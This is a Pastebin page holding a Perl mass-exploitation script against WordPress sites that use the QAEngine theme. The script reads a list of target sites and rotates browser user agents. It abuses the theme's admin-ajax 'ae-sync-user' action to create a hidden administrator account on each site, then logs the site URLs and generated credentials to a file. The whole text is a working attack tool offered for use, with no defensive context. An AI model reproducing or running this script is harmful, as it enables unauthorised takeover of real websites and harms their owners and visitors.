Advertisement
Jemb0t_IR3eng

QAEngine Theme RCE

Apr 17th, 2019
798
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.52 KB | None | 0 0
  1. #!/usr/bin/perl
  2. use LWP::UserAgent;
  3. # @version 1.0
  4. # @author M-A
  5. # @link https://raw.githubusercontent.com/mranarshit/wp-Up_exp/master/qaengine.pl
  6. # Perl Lov3r :)
  7. my $datestring = localtime();
  8. my ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime();
  9.  
  10. sub randomagent {
  11. my @array = ('Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0',
  12. 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20120101 Firefox/29.0',
  13. 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)',
  14. 'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36',
  15. 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36',
  16. 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31'
  17. );
  18. my $random = $array[rand @array];
  19. return($random);
  20. }
  21. flag();
  22. print "[+] Enter List Of Target : ";
  23. chomp (my $list=<>);
  24. print "[+] Started : $datestring\n";
  25.  
  26. my $user = Generate_user();
  27. my $pass = Generate_user();
  28. open(my $arq,'<'.$list) || die($!);
  29. my @site = <$arq>;
  30. @site = grep { !/^$/ } @site;
  31. close($arq);
  32. print "[".($#site+1)."] URL to test upload\n\n";
  33. my $i;
  34. foreach my $web(@site){$i++;
  35. chomp($web);
  36. if($web !~ /^(http|https):\/\//){
  37. $web = 'http://'.$web;
  38. }
  39. print "\n[$i] $web OK! Let's Work!\n\n";
  40. expadd($web,$user,$pass);#exploiting website :)
  41. }
  42. sub expadd{
  43. my ($url,$user,$pass) = @_;
  44. my $useragent = randomagent();#Get a Random User Agent
  45. my $ua = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0 });#Https websites accept
  46. $ua->timeout(10);
  47. $ua->agent($useragent);
  48. my $path = "/wp-admin/admin-ajax.php?action=ae-sync-user&method=create&user_login=".$user."&user_pass=". $pass ."&role=administrator";
  49. my $target = $url.$path;
  50. my $response = $ua->get($target);
  51. if ($response->content=~/success\":true/){
  52. print "[OK] New Admin Successfuly Created \n";
  53. print "| User : $user \n";
  54. print "| Pass : $pass \n";
  55. save ("log.txt","$url : ($user:$pass)");
  56. }
  57. else {print "[+] Error Creating New User \n";}
  58.  
  59.  
  60. }
  61. sub flag {print "\n[+] WP QAEngine Theme R3m0t3 C0d3 Ex3cut10n (Add WP Admin) Exploiter \n[*] Coder => M-A\n\n";
  62. }
  63. sub Generate_user {
  64. my $rndstr = rndstr(6, 1..9, 'a'..'z');
  65. sub rndstr{ join'', @_[ map{ rand @_ } 1 .. shift ] }
  66. }
  67. sub save {
  68. my ($file,$item) = @_;
  69. open(SAVE,">>".$file);
  70. print SAVE $item."\n";
  71. close(SAVE);
  72. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement